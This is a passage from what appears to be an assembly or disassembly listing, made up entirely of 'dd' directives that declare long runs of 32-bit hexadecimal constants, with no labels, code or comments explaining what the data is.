		dd 6D0FC0E1h, 81A057DCh, 0E577BC32h, 8AA72E00h,	7967DA15h
		dd 89CC00B8h, 5019E9CEh, 450FD625h, 20E693C0h, 0DA1820E7h
		dd 0D3020049h, 17E24235h, 0A31DA279h, 6800DC73h, 8F015977h
		dd 1CFC0153h, 0CA45B0E1h, 0C1E97091h, 0EFAF440Eh, 2B0D4002h
		dd 3D6B4E6h, 9F03799h, 428AB954h, 3402B472h, 588FADB6h
		dd 3A8C9072h, 0E070BDFCh, 0A25B6C07h, 0D0BC9E3Ch, 0AAD700EDh
		dd 0D25A5C71h, 8004BC59h, 0E0418861h, 0F5401487h, 0BE78C5h
		dd 96A44D0Fh, 7E7A3908h, 0DDE8A754h, 14D84814h,	0BD600EAFh
		dd 0F7185889h, 1E397E44h, 56DC0498h, 30542012h,	0CA0019C9h
		dd 4FB92878h, 1E346824h, 40E1D81Ch, 9CB3CD2Eh, 63006AE8h
		dd 61323EBEh, 5C5D810Fh, 0FF0074A5h, 5C2F21B1h,	2E732BA9h
		dd 0A6D1DB0Eh, 55B4E0DFh, 77EFA0h, 237E87ECh, 363C380Ah
		dd 0C2665Ch, 80018D1Ch,	958652h, 387221C9h, 5931AE5Eh
		dd 0E70099EAh, 32017E84h, 708B75BEh, 0A6D21805h, 6D208C4Ch
		dd 804B9A3Ah, 85031AA3h, 2C1DED6h, 86EADBCCh, 1050E857h
		dd 0FC03D173h, 0E5D6E2C2h, 31881F2Bh, 4043DF25h, 0C699B191h
		dd 4F29498h, 0FC22EA00h, 967323A6h, 5916008Ch, 672FB930h
		dd 4D00CEE3h, 35ABFEB5h, 0E8CD42B0h, 532E0011h,	0A585726h
		dd 0D409E671h, 33AA514h, 0B15E5600h, 0EF42A59h,	408101D9h
		dd 0F8066DBh, 5EC2CCEh,	42174CFh, 4E08A880h, 609700DCh
		dd 0D3992B1Fh, 0F51440F3h, 1F4E5B8h, 0DDB163FEh, 1181FDB5h
		dd 2CB0331Bh, 30D3CD7Ch, 8C90FC78h, 27B6F412h, 2F7FD80Fh
		dd 0F6A420D5h, 0AD1E01h, 7C80FD8Bh, 271B99CCh, 9B582E00h
		dd 7276BFEAh, 0F8EAD5h,	0B3157CF1h, 6E861F5Eh, 0E3706C90h
		dd 21CD5B30h, 2A4CED14h, 0B0F593h, 9F404D4Fh, 7D6B59FFh
		dd 850A7500h, 0A0CADC8Ch, 0CFE324EDh, 0D5900033h, 0B950D28Fh
		dd 9D009AE4h, 46A6311Bh, 0C701ECEh, 9B9E8D72h, 0C7022218h
		dd 19EF0512h, 0F19080A9h, 68CFBFFh, 5EA746D0h, 331F289Dh
		dd 0E68F5CA0h, 15AB4021h, 7C83CFCh, 988F35A8h, 0EAC20052h
		dd 8100504Eh, 0AD54D365h, 1975767h, 0C9C37179h,	0E895CCBAh
		dd 34504E1Eh, 263AD8F0h, 0A7AE0056h, 1320724Dh,	0ABE103A9h
		dd 0B01CE0A4h, 7A5256A0h, 8B530700h, 15596D2Dh,	49320097h
		dd 0AA8FD2B5h, 650B0879h, 81808486h, 3CB6FEDAh,	2347C4h
		dd 0A70DBEE9h, 20212DDFh, 9750F500h, 0ACF98509h, 90410081h
		dd 197BA85Eh, 3900EAE5h, 981529B3h, 2C0EDEh, 5F9FE3ACh
		dd 11F48883h, 0D6F4B677h, 0DC92FC24h, 15D89340h, 0BC275E58h
		dd 87590115h, 0B98CF088h
		dd 4E2D0CBh, 1A3C00ECh,	947525A1h, 0B89A715Fh, 46CC28A0h
		dd 0B9209004h, 0C0AA954Eh, 0BD0EE9E3h, 0A600E075h, 9C46C1C4h
		dd 0E6CB622h, 63E4CDB1h, 4D03D02Fh, 0BAC0284Ah,	0C828D266h
		dd 0AF000842h, 87BE29DCh, 2A9E024h, 0FD949F32h,	506812A2h
		dd 7D606FDCh, 0C4B15489h, 0DD020188h, 0D79F1DC1h, 86E8F32Dh
		dd 9BEADB72h, 18489728h, 1296FA00h, 0C1DC628Bh,	657472h
		dd 1041DC2h, 0AD40F073h, 198A4300h, 0BBC1C70Bh,	0AFEE00CCh
		dd 75655E7Dh, 0F00D014h, 0B07B4248h, 5E2BA6Ch, 0AECC38CFh
		dd 52388047h, 0B472D473h, 0F4C25A00h, 0F2D9CB87h, 75720BE6h
		dd 0D0AFFD3Dh, 40D6EE6Eh, 7424F5D8h, 75007F0Fh,	7D49ACDDh
		dd 6862A6h, 953614Eh, 0CF72ED2Eh, 12BDFA07h, 0AA20EF9Dh
		dd 0E274B20h, 4AF3788Ch, 0F8E91F40h, 7B000D8Fh,	12053E2h
		dd 3357BFh, 130E3568h, 9C56FB79h, 0C801547Ch, 97EA9DAh
		dd 64DD0773h, 0F1AAD4h,	3E724C1Eh, 836A1470h, 0A3FF1900h
		dd 5F2E8229h, 0BDEC0081h, 0A96E97ACh, 8400EF6Dh, 366949D7h
		dd 0DC4A0F2h, 507EFD5Ch, 0EA7DD08Eh, 2E5D8400h,	4767C509h
		dd 28C0504h, 0E30ADE94h, 0BF04D098h, 8E019BE8h,	0A060428h
		dd 1980FE19h, 0C3A14A22h, 39118BD1h, 3300F114h,	9E497299h
		dd 7400FFDBh, 44FFBE6h,	0EC379F88h, 0C0B577F7h,	73176A61h
		dd 5F1D9283h, 2D8B7721h, 0B5608114h, 70F4F513h,	0F6BE30B2h
		dd 2A576031h, 0EF933100h, 7DD44E3Ch, 0AE9900F8h, 686B05F2h
		dd 0C41FFB08h, 9847F4CFh, 9680168Fh, 0BC8197h, 88744E93h
		dd 1EEED808h, 489253Dh,	7A9D536Bh, 7B18A0C8h, 649800CCh
		dd 31BEDE5Ah, 6C09F0DCh, 0E17CC5F6h, 0D5606FCCh, 0F2ED048Dh
		dd 0A93819E2h, 669B030Ch, 98491179h, 0C00DC283h, 8CE82370h
		dd 7B06197Eh, 75DA8B74h, 0F8710718h, 0C90C3D65h, 9C72CD87h
		dd 6E313131h, 8597DE61h, 3F66030h, 68722519h, 0E815068Ch
		dd 1B8CB3BFh, 2C4F07Fh,	7E94CB60h, 0D88B096Bh, 8EADEA01h
		dd 7D118068h, 0F0156CC3h, 82D9286Dh, 7FB57790h,	232E034Bh
		dd 0EF83A56Bh, 0C2088AE8h, 12BBFA03h, 0F8E06377h, 4A29D90h
		dd 0C161817Dh, 71089802h, 4D418300h, 9B05EDDAh,	6247D64h
		dd 68937F43h, 6D005085h, 0C8C6A82Fh, 62177DF7h,	19BEC8F8h
		dd 0FD4CD20h, 0A88200D5h, 8D23AA05h, 43008F4Fh,	16775572h
		dd 0CFF544Ah, 69F9F0E4h, 3707C6F0h, 8A1E3475h, 0CF30C710h
		dd 936127F5h, 0A48000AFh, 3923650Fh, 0E408550Bh, 6F544001h
		dd 0B4E01Eh, 97FBF20Dh,	0BEF51CABh, 0A1FCF100h,	0C9C87759h
		dd 94791B16h, 1903F0DDh, 0BF30D7BDh, 14B900F0h,	81A31D2Ah
		dd 0A5712D51h, 5A0094EAh, 97F1B7A7h, 34A1825h, 6DF4B9C8h
		dd 0F839F6D0h, 43FC809Fh, 0FFD5A4DEh, 0CA900E97h, 0F5627BD3h
		dd 684AD775h, 8131D861h, 52667119h, 0F07C1774h,	1B040321h
		dd 84813A95h, 37001EBBh, 0E492669Dh, 62BA530Fh,	0D31D6090h
		dd 0EAEF5F4Dh, 50E87E7Fh, 394A40Fh, 0A62E2324h,	57E07E1Eh
		dd 0C81EF673h, 0A91E3BE3h, 72241400h, 0E18756D3h, 0E236FB60h
		dd 0E4CC009Eh, 5CC5F877h, 0D071C2ECh, 51C4ED00h, 0BFA36C3Ch
		dd 0D5713965h, 0ECB76D00h, 0D2C7254Ah, 0C9F74C00h, 937B3E4h
		dd 2F4B1F14h, 18B218CFh, 270A73A4h, 2002FCB1h, 2029AAF3h
		dd 96A813D6h, 68D3D707h, 6CF01EB9h, 787F9CD5h, 3C5B7850h
		dd 0B580FBD8h, 2ECB8EDFh, 81011F64h, 5EBD48BEh,	88C4973h
		dd 0D74188B3h, 0DE058A00h, 0EABF82B6h, 5614A847h, 8B4A0728h
		dd 0C7B3E3EEh, 0F8E1E0FDh, 89007B98h, 0A17C5D25h, 2774337h
		dd 6F03B456h, 34ACB991h, 1D00FD08h, 37BFA672h, 11C4EB4h
		dd 4C8E225Dh, 88DEDAC5h, 818FB180h, 0B44F4AA6h,	0E22886A4h
		dd 21415C4Dh, 0A505744h, 3C63007Ah, 3FA984D3h, 791DCDE1h
		dd 5DCF2D43h, 4A78A3Eh,	600E7E50h, 0B90F1071h, 0AB002BDEh
		dd 7D733D50h, 14596BEh,	7E3C61C8h, 0DCE21E80h, 0CF6ED911h
		dd 7CE8C429h, 48CDFA04h, 0DD6842E4h, 6520C524h,	0D8816024h
		dd 0D7442708h, 443284F9h, 10BC51CBh, 0AD89D909h, 0D06EFD08h
		dd 5C849029h, 0EB8144D3h, 926DC600h, 16C00656h,	8B25C9B1h
		dd 335E006Eh, 0FFF43439h, 0B000607Ch, 0DA8419DEh, 31C0EE6h
		dd 5F265A8Fh, 49A89FD3h, 4300A19Ah, 0CF7CF65h, 0D50BDBh
		dd 6BC52029h, 0E3E0CEECh, 0C7508A00h, 83D155FDh, 18DD01E4h
		dd 16A5C653h, 4B74F849h, 3C19500h, 171E4088h, 0E8BB0114h
		dd 26E343A0h, 0A7FFC04Eh, 9EA5AA00h, 5AB30493h,	0E25E009Ch
		dd 65245D47h, 0D5F62881h, 0E3C30900h, 0A10FA674h, 5DF6075Eh
		dd 90632A89h, 0EDA62CEh, 9F8B3200h, 2F8FDEEBh, 5B9907C5h
		dd 0F823BCh, 0C464A83Eh, 0FE17E100h, 5A9CB0A0h,	0E4820038h
		dd 7514D3C3h, 0F0B5D9F7h, 9BF90021h, 0F88ECE55h, 0D83C549Ah
		dd 6B0C00ADh, 2251C384h, 4B5C0045h, 2844412Eh, 0E5078BD9h
		dd 8780E9C9h, 0ACF8ED70h, 0BAB900B3h, 0B4014DE7h, 0DA3DEA13h
		dd 60A60F0Bh, 814F4183h, 54C0F3B6h, 0B07F1E28h,	0B4A98B7Dh
		dd 0BAE8F300h, 0E0B7FE56h, 41CBC5h, 0E48D2652h,	4D2FBCF1h
		dd 109BB807h, 0FC40D9EFh, 0E61477F6h, 0AE7270h,	4256A906h
		dd 0AC072A72h, 1A034DFAh, 0BB6B8162h, 85CBF1DCh, 54D68C20h
		dd 74FD8A3h, 2E864330h,	81A220CEh, 0ED00347Bh, 80246A8h
		dd 50C46AEEh, 7FE8C0h, 5887D65Eh, 96E6BC32h, 0D8781E00h
		dd 0BAD78B86h, 26AB3BA1h, 0B94C280h, 0A40521DFh, 0EE9F0C00h
		dd 0B4992FF0h, 9D88A0E6h, 5EE40011h, 74B1C0C7h,	52752046h
		dd 0DCBC1500h, 5A2DD150h, 929F7D66h, 28700E8h, 9DADE9F5h
		dd 68C07AEEh, 7DC78FAFh, 78933033h, 68273958h, 656B7C0Eh
		dd 0A453A11Fh, 0CC40EB45h, 12FB24Bh, 0D49570A7h, 0C8313380h
		dd 2E00B66Eh, 0FF38ED42h, 4DBD1C8Fh, 0FD0020B5h, 40C6C5B7h
		dd 0B9246242h, 0C4826C9Fh, 43674EF0h, 76A0AF34h, 2B0940h
		dd 12CB7825h, 3B3DAE7h,	0AEC35C01h, 0B14BE9DDh,	107E03Eh
		dd 0A0E036E8h, 0DC2E5B18h, 3D4154E9h, 75184F35h, 0DFBA5887h
		dd 94A76801h, 7EA396FDh, 0B94AB8DBh, 3D78EAh, 0C69A8423h
		dd 1B8BA956h, 0DD63600h, 0ABF50E01h, 417024D8h,	383D0074h
		dd 0F75EB58Ah, 2B3BFE00h, 24237587h, 38C87904h,	0B08FE0AFh
		dd 86009AE9h, 45AB0532h, 5E2895F0h, 360184DEh, 0F5C6433Dh
		dd 39E07FFEh, 9E3B1E35h, 0E4A9C0CEh, 90EC0FA3h,	2A0E6000h
		dd 5776A6F4h, 0AB5F004Ch, 0EFA38F36h, 6A77B969h, 7F953B0Fh
		dd 3007D306h, 5A171385h, 6E7E73A0h, 7D67A2Ch, 0D39E8C27h
		dd 0B85BF0B7h, 750462CCh, 0B8944E9h, 1E200488h,	3D2C9E2h
		dd 734523DFh, 0E45FD4D9h, 0F804160Bh, 6EA8A493h, 0B7700C87h
		dd 2ED35BFh, 0F47F7CF6h, 2C4059BDh, 60E2F96Dh, 4600B398h
		dd 0BEBC2B52h, 0EE06A23h, 800720FEh, 37EC9EE0h,	2A1EEE2Ch
		dd 60002888h, 33D69981h, 74A2010Ah, 26AA293Bh, 0E080DEF1h
		dd 1BC74BBEh, 0B8CAC51Fh, 5BFC0C00h, 0A3BD8331h, 0C00ABACCh
		dd 4EA108h, 32507F1h, 916023B6h, 53F6CB00h, 76F069A5h
		dd 0A2663F55h, 7EACD0h,	86A15AD3h, 182CF524h, 90B148h
		dd 364C5BEEh, 1CF61AF4h, 40647371h, 0FCCC2C5Eh,	0A00A442h
		dd 0A75B0466h, 5414EEh,	411094DFh, 932DEDCEh, 9EA0BBF2h
		dd 91009E0Fh, 84A12CA6h, 90DF7E4h, 0C7EAB7AFh, 0D6E0E28Fh
		dd 73B3AE56h, 0ABB052E4h
		dd 620227FCh, 49F6925h,	118080BAh, 30D65C6h, 186B1073h
		dd 4AA0B80Fh, 21F07771h, 0A7E5CF00h, 0FD820932h, 3BDF66Ah
		dd 8E232234h, 6E99F579h, 0FC153091h, 0B04EE603h, 9B5A2E6Ch
		dd 52600370h, 6678925Bh, 0B3743E88h, 0BEB2E300h, 82360643h
		dd 42CB007Bh, 891614DEh, 79737D90h, 749F1000h, 0D5A1318Ah
		dd 40B51F25h, 136141ECh, 0D0E5595Fh, 7100E2B7h,	0FA4CFB0Eh
		dd 0CE7CA6h, 1F8CAF41h,	92158D6Dh, 10072E0Fh, 0EA26087h
		dd 0E66EFCh, 0D46C8CC3h, 78D6D2B9h, 0D0BDEE12h,	1DC0A01Dh
		dd 5E16A6E3h, 0D94100A0h, 0EAFEDB15h, 0C40049A3h, 708C6FC3h
		dd 0CB2980h, 7F16CA95h,	0D648FEECh, 0FC3B00Bh, 538800E5h
		dd 249EF573h, 1A05867h,	5A761B25h, 0C3D8CB90h, 0A0008AEAh
		dd 0AC819513h, 131CB3CBh, 20D62086h, 9ACA593Ch,	1DC27016h
		dd 0CC412C00h, 3F13E347h, 368006C0h, 0A6A99874h, 0A1005502h
		dd 0FE2EDC81h, 929F43Fh, 9A28C42Dh, 976A077Fh, 87DB8370h
		dd 7FE223h, 4992E0A1h, 0DCA87E71h, 0E5B158h, 8EB38445h
		dd 1F2F9503h, 0C0898030h, 0E787DCBh, 7F8A3C6h, 92EA7A60h
		dd 33DA5465h, 2E3180B6h, 25A97FE8h, 0BFF21600h,	96E73488h
		dd 0C54A1DEDh, 0A04DC7FBh, 2C752129h, 0A1AFDCBBh, 0B621EE00h
		dd 94DB063Ch, 4554136Ah, 85B43287h, 0D80B8241h,	896776DAh
		dd 0D710C258h, 1D13242Eh, 0C1076C39h, 82A6C68Eh, 0B2E440D4h
		dd 0FA00EE01h, 0D5AC42DEh, 0FEF609A4h, 850700EAh, 0D913EFE8h
		dd 0B5009C94h, 0CD867516h, 4B18A3h, 7F6C1297h, 463556CAh
		dd 99AF8202h, 576BBBh, 711F0EB1h, 6C245506h, 12853Ah, 68489AA5h
		dd 7233250Fh, 0ACE48100h, 0B92C5AFBh, 0BA640099h, 1DFCC9C0h
		dd 67016B97h, 0A6E22D3Ch, 0F7D3864Dh, 0A55C2190h, 0E3F22EDBh
		dd 0D2CB00D8h, 0D1D51A9h, 0FF340A1Fh, 7E9C0E80h, 0EE17076h
		dd 0C9FA42E4h, 57461AE0h, 0BB090799h, 80F9BACFh, 2417B93Ch
		dd 0DAAB402Ch, 7290CA01h, 0DB75EE0h, 5CA8C8F0h,	0C00F529Ah
		dd 0FA00D502h, 0A26B159Ch, 23401900h, 0DA8D5407h, 4F1226B1h
		dd 8E5200E3h, 0F31D42DDh, 0A8C83F30h, 2EE3AAC3h, 2C802C18h
		dd 0FFEF8040h, 34F7737Ch, 0F87D7700h, 5FB59B15h, 0E518020Dh
		dd 0C70C0F0Ah, 9F77040h, 0BDB8B200h, 9C12EAE6h,	13050598h
		dd 0C392A52Fh, 62B05B08h, 55E20B42h, 48E9900h, 0B79DA310h
		dd 26EF006Fh, 0A1B32D02h, 0DD701FD1h, 0FD150800h, 9D80F2C3h
		dd 18397065h, 10F3932Ch, 41070995h, 0E6F7A4BBh,	63990660h
		dd 2679168Ch, 6AE50032h, 0DC3F733Eh, 0B6AC4402h, 8083F875h
		dd 2C3C8EA4h, 13940356h, 44929153h, 0ECCC7E89h,	6AEE665Bh
		dd 0FE244601h, 0A9F4CE4Eh, 7FC6260h, 0DCDED61h,	0BF9FA130h
		dd 3185D4F2h, 0C30C4714h, 0EE970BA4h, 616490CEh, 0EED85877h
		dd 0E22B0074h, 85B2981Eh, 390B05E4h, 3868B1Bh, 0D3FF1198h
		dd 0A917154h, 0E59D0372h, 80AD1C9Ch, 58D77E25h,	90001C82h
		dd 0B4F61551h, 0CDE9BC6h, 0A8BDF5A6h, 0D60128D8h, 67DCC562h
		dd 0D430E76Dh, 49A10BECh, 0CCA71B86h, 0A8C5F059h, 0B6008BBAh
		dd 874FDB7Eh, 0E271598h, 28047D3Dh, 9F5B813Dh, 2C1847A2h
		dd 716300F0h, 5ECCDBF1h, 7E52005Fh, 2A9A4481h, 0AF0061ACh
		dd 9BDAE142h, 57B53DBh,	0DD364186h, 18CCC09Eh, 9C00FEFFh
		dd 0EF8B9954h, 0A82762h, 0A03AF3CEh, 4B6C71ABh,	0BE0B6400h
		dd 6ED3C46Fh, 779200C0h, 0AC9541B3h, 0A800521Bh, 0E48ACEFFh
		dd 861DFBh, 0BD2E3F5Fh,	6B672DB2h, 870ED300h, 76D85159h
		dd 0F2AA146Eh, 200FB010h, 0BB20A242h, 410DE285h, 73804300h
		dd 5ADEF912h, 155E4DAh,	79062988h, 216AA57Ch, 0E4B8E4C2h
		dd 5DDC6017h, 0A1D96040h, 99D216h, 0DB615CDAh, 0B1EAEE39h
		dd 34380F00h, 28EC37C5h, 8E712631h, 0B6144060h,	0C5E0A6CFh
		dd 513B8F00h, 5D4DEA97h, 48DB28BAh, 86A000F2h, 4C13A536h
		dd 5907F988h, 613374DDh, 60CD9042h, 1DE0E475h, 0AEC37E6Ah
		dd 0BD5F0EBCh, 0E7DEA261h, 0D0306068h, 15EDD303h, 0A8C93E61h
		dd 0A19FDAh, 1321C748h,	57623054h, 0A65B4A09h, 9008001Ch
		dd 56634B5h, 44461B93h,	14CC2091h, 0C5FE33D4h, 1801C774h
		dd 0DCBFBD1Fh, 43C54FCh, 0D6A4E012h, 0F33CB86Ch, 0B02502h
		dd 0F96A93DCh, 5A8201D9h, 0CE627F4Fh, 50E428C4h, 5F001210h
		dd 6DBD979Dh, 0DD77Ah, 408AAD2Fh, 0D64B62E2h, 0C2EC7512h
		dd 91E78D00h, 0A1B9D60h, 780E3718h, 110C0080h, 986C01EFh
		dd 3973280Eh, 8DEEA15Eh, 9F60613Eh, 7EE51E20h, 81DBC067h
		dd 0A89988B9h, 72362F01h, 6F119E87h, 581E96F8h,	0AC3B525Ch
		dd 1A858A80h, 8E8927F0h, 93435900h, 46CB4AB8h, 22B9873h
		dd 129DE5D3h, 0E3C0A5DEh, 3500881Dh, 0B9EB6EAh,	26F06024h
		dd 11AF7C3h, 0C9E58A6Dh, 11EBF82Eh, 8082D33Eh, 0A54723D5h
		dd 979EE63h, 4A37D629h,	85540404h, 0E10470CDh, 0FA0B8930h
		dd 903FBB27h, 2EC64040h, 4B05964h, 0A4ECEBCCh, 0D300D460h
		dd 2C424095h, 1E65E82h,	941BBC4Bh, 30E05871h, 0C50051C0h
		dd 5C8E4FB8h, 0ECCA3B91h, 90E7055Ah, 0D6578h, 1DF4A5B0h
		dd 0D1047D44h, 58C79446h, 8B17A880h, 0F6DBEEE7h, 244E4889h
		dd 4DFC4875h, 3BB00100h, 0CAA010F7h, 3C307800h,	0B4BE2856h
		dd 867E303Eh, 2C320898h, 100068ECh, 4647F9F8h, 0DF84A2h
		dd 2F39741Dh, 0C78ABEF4h, 0A5E37700h, 61EEFCB1h, 8DD8F181h
		dd 0EDA4AC9h, 0A38090A4h, 35E49F70h, 0B8CA5500h, 1A805059h
		dd 0E99B13C0h, 3BCE0238h, 2CE0D16Eh, 0F2070DA6h, 0B04EE2F6h
		dd 0EAC5A8A0h, 533E148Eh, 404D9E99h, 0FAB99D00h, 67C6BA68h
		dd 3B6F7C00h, 7FB3C006h, 7A29003Ah, 0AF85A386h,	2CB87417h
		dd 430AB500h, 0DAD35271h, 9FB4A0DFh, 0E4365073h, 8A720195h
		dd 4883B6FDh, 8C15EC6Bh, 4E23Dh, 4E76E46Fh, 987A27F7h
		dd 9CA600DCh, 3937F65Bh, 157F7EA0h, 0FB994A00h,	275E85Dh
		dd 6B45002Ch, 0C66360CDh, 87037E59h, 1B0D69FEh,	80F9CA07h
		dd 0B93783CCh, 0E3E0A7h, 276FAD4Fh, 0C295821Ah,	882B9200h
		dd 0CDABA3DBh, 0CEE1C9Ch, 0F2749F6h, 8E2DF480h,	9600219Fh
		dd 0C0661915h, 9A3F52Ah, 0DC67ECA6h, 0D91B6100h, 534EC865h
		dd 0D1EC96F1h, 25573A81h, 3AE9AD00h, 12703732h,	140711E2h
		dd 0E8656A92h, 0A4540EC0h, 97982D24h, 0EA956800h, 7E053CAFh
		dd 0A0DCF7B5h, 54A66C90h, 0B2E7914h, 8A996B01h,	0D1DFE013h
		dd 0FC429C6Eh, 473A465Ch, 878C00D6h, 2649E8ACh,	8B5500D4h
		dd 0FA1797DCh, 5900A6C8h, 849F14AFh, 58E67FE4h,	0EE80D8F6h
		dd 691364A3h, 826A5613h, 81C7A85Ch, 93F10D08h, 10ECB97Bh
		dd 0B8B74CAFh, 0E1217A00h, 0F58846A1h, 19CF5600h, 0EB154217h
		dd 0E9A2000Dh, 0CD04C254h, 5C00815Dh, 2CD57DDDh, 27930B9h
		dd 0C7CFC36Ch, 0C60C5A9h, 0CE00CA23h, 0BCD87E83h, 0DE5181h
		dd 0A7F0D0D9h, 47A1EBFCh, 0C4056900h, 9ED3D256h, 0CF1C00CCh
		dd 0B9EE8253h, 3F73C0BBh, 11193D00h, 79B4675Eh,	54E475h
		dd 0B7807C23h, 4C7FDB76h, 70955613h, 0C416E447h, 0B3B7FD17h
		dd 0EFBBE8F0h, 4A61C9Ch, 0C3E8084h, 76AC9EEDh, 6D66CF00h
		dd 387BFDDCh, 69563C99h, 2316DB80h, 7639CA27h, 0EEDFA90Ah
		dd 0CF04B092h, 0D22C47B6h, 0F67A84BAh, 3722922h, 0D522C2A0h
		dd 0B4A945E9h, 30CFFC74h, 7A75C00h, 75114E9Fh, 0DE830786h
		dd 302544D8h
		dd 0C329B338h, 2387D700h, 0DC7CBCC2h, 2715Eh, 2A9C917Eh
		dd 0A95DD61Ah, 0B7F07500h, 5F3CD5C6h, 9D440047h, 7C09CEB8h
		dd 0E703BAB6h, 764B7A32h, 0B414C0D4h, 90160529h, 0C0EAE4C0h
		dd 326EFFFEh, 0F29C0C00h, 0EBD1C93Bh, 45BF0082h, 0A2EACEA1h
		dd 0ED0077FDh, 0F9C36A91h, 7D9A1849h, 45200003h, 17F7C584h
		dd 3E76B355h, 5E6DD60Fh, 1B3940FBh, 708D22EFh, 0B5E500EEh
		dd 0AED32C73h, 0AD245309h, 3407CD9Ch, 9582D1E1h, 0D4D0AFh
		dd 168F8E8Dh, 1D20E68Ah, 5A0040E2h, 79A15F99h, 971577h
		dd 0FA0DEC2Bh, 0AC708E20h, 13C4A58h, 72887DADh,	8405896h
		dd 1C395791h, 3DFF7971h, 0B6302501h, 808595BBh,	3A4E2871h
		dd 3F95550h, 0C6A4B775h, 1DE370B2h, 0BDE4A0E5h,	0D6857801h
		dd 0F05CB721h, 52100886h, 29F0201Fh, 84C310DCh,	7AE2AB2Ah
		dd 3A140620h, 68864AFBh, 56F41A1Ch, 36F98546h, 37447959h
		dd 8C20558Dh, 8C002B59h, 0B46F865Ah, 435D08h, 0B115BB75h
		dd 0AFAA4828h, 0B72ABE01h, 0D7F9D862h, 0C83E488Ch, 5C3A41C0h
		dd 811380C5h, 0FEE1BDDEh, 192E0004h, 0B657ACEh,	0F005088h
		dd 14A90A06h, 4373E1h, 0EE492B4h, 0D204028Bh, 0D75CB600h
		dd 0DADF537Bh, 303603F5h, 0F3253149h, 3F88E9A0h, 0AE95FE01h
		dd 0BFA42FB1h, 3ED2DBD8h, 2587D817h, 30E1CA5Ch,	0F1D31AA1h
		dd 7A2BA50Eh, 8C5960A6h, 32A4850h, 2816DC34h, 5F89A75h
		dd 361754EDh, 0C8DE35C5h, 0D6800442h, 8A5EE2A9h, 2230EEE4h
		dd 0B8501958h, 0B350C02Ch, 7F7D8A2h, 7B290A1Fh,	5397B283h
		dd 412ED93Eh, 613DCF10h, 116A9030h, 19C44FDh, 0B749F05Fh
		dd 9879D884h, 97218308h, 3C9C0540h, 0E8BCBC6h, 89F155Ch
		dd 4780AE7Bh, 2F69FD9Fh, 0D75907C4h, 4F5A9432h,	0C76D2178h
		dd 0E843FC07h, 31200ABDh, 0AE7FF03h, 0D7F0539Eh, 0CF1FDC4Ch
		dd 298C2AE4h, 7331971h,	18369B75h, 55588168h, 5E5D003Dh
		dd 1709834h, 59A46FB3h,	0D1A517BBh, 140680Ah, 56ED6C7Dh
		dd 0B97182BDh, 0E4A8A400h, 0BC5C0532h, 0DA3D0Ch, 592C6A80h
		dd 9312759Ah, 0A04049C1h, 0D1407EECh, 0C83C0586h, 624692DEh
		dd 0A601261Ch, 8C4084E3h, 1051C52h, 0BEAB20D9h,	426134CDh
		dd 43306684h, 0F060119Ch, 0E629D71h, 5E9C4B98h,	0F0803140h
		dd 0D1C0F550h, 0A66FB6CBh, 79FF0020h, 0C9EDBF88h, 0DD491639h
		dd 2FC4002Ch, 38C86917h, 9FE6000Fh, 36CB035Eh, 8CA455A2h
		dd 0C7F2F37Eh, 0CD93C03h, 0B0C3127Ah, 0F2CCFF90h, 0DCB900DFh
		dd 68457E61h, 3B54EFB1h, 5A7775B8h, 13A48950h, 0F9FDE201h
		dd 0DC15C6A8h, 0C7B3819Ch, 0E05E412Ah, 455636F8h, 0F45D1C98h
		dd 5A100320h, 80DE542Ah, 39ADDC91h, 8A09D0AEh, 0F000029Eh
		dd 0BE6B231Bh, 8E087490h, 5DB57Bh, 0F2D74C5Fh, 0FE1F8681h
		dd 51DF8432h, 416C1140h, 128FBC3Ah, 55B4E3Dh, 8161E318h
		dd 839E7B53h, 70195341h, 0C3EFD02Ah, 61C60005h,	1AF1A164h
		dd 0E0642BDh, 987A82B2h, 36720031h, 5FFED1B7h, 5C00ABA4h
		dd 98C3CE6Bh, 597E3Dh, 689B3CFCh, 57310D61h, 8F399D62h
		dd 0ACE4A089h, 14F37A3h, 3A163208h, 204D8183h, 40CD041h
		dd 7686F0B4h, 683C1E84h, 0BBCB8CADh, 8A14AFF8h,	1E8803D9h
		dd 70C73308h, 821175CCh, 0C0516CC0h, 70574ACDh,	8FA2A863h
		dd 3F426E0h, 48AC00BEh,	5F1A0F36h, 7A017F8Ch, 0F0616933h
		dd 0EBD8B739h, 9F0A048Ah, 0D0211353h, 0B3C30404h, 94C60E01h
		dd 306C9093h, 0DB77E8h,	0A85B7A9Dh, 0D687451Bh,	0B8A26Ah
		dd 6281C311h, 0EB5E442Ah, 5BEC2DF4h, 0EFAE4C2Ah, 3B658300h
		dd 8A3AD5BBh, 0D882B432h, 9346831h, 0F1C748E2h,	73AD312h
		dd 0E1B6F0B8h, 263C61CFh, 1446F03Ch, 0E587022Ch, 75BA5829h
		dd 31991863h, 3AC6251h,	569D8009h, 4420B730h, 13B353A1h
		dd 20F67482h, 9ED7BBC4h, 3BA72084h, 0CE86E20Ah,	95038C98h
		dd 26331304h, 115C96B8h, 0ED6E8062h, 431FB3A0h,	1D1822A5h
		dd 5FED667Bh, 491180DFh, 7CA8AAC2h, 0B4233F07h,	0A2C63153h
		dd 5A8F24B1h, 0A9E78038h, 0B59E8D64h, 180F6A90h, 0AE40118Eh
		dd 572AA0D4h, 19365FE9h, 482F6B7Bh, 7C80DA41h, 0A69876DDh
		dd 2C7E6302h, 68E258EDh, 303FCD4Ch, 4629B67Bh, 130E05AEh
		dd 6FCA4225h, 0F557E0D4h, 7B41B235h, 28C090D8h,	7EAD5FC9h
		dd 4DC700D3h, 0A3A8B161h, 10036B26h, 6E60697Dh,	0F0082A2Bh
		dd 0C1F50C34h, 9F481FACh, 166B4605h, 4C98495Dh,	68FD049Eh
		dd 325A3C2Fh, 0C64420B4h, 400089FCh, 0F159103Fh, 4826A7BEh
		dd 29F85851h, 1C7AA943h, 4024B372h, 87900312h, 50D99AAEh
		dd 0D820B9F8h, 913B41BDh, 9C8047B0h, 0CC2F62FDh, 9E225943h
		dd 0FCC46E00h, 0CEBEE771h, 15780456h, 85395C47h, 0BBC8478h
		dd 6402BE34h, 6E216B9Ch, 702521B7h, 0F0179C60h,	30B061CAh
		dd 0D2EAB210h, 679C3848h, 2F51DD25h, 0B245FD0Ch, 1C8812EFh
		dd 97C1727h, 10FC54h, 0C1ABC6FBh, 76DE4DA5h, 36AF30C9h
		dd 6E53C5B9h, 0E2512203h, 847B3Dh, 9428EFC9h, 0A133A9B3h
		dd 9F775AECh, 4E0B6C92h, 136E8F61h, 7FDD90E8h, 0E7800E9h
		dd 0F37BFE77h, 0EB034918h, 13A8B283h, 519900D2h, 174F0AF1h
		dd 0FD006DD6h, 14A470E2h, 1A56726h, 0E48F5646h,	4A15E119h
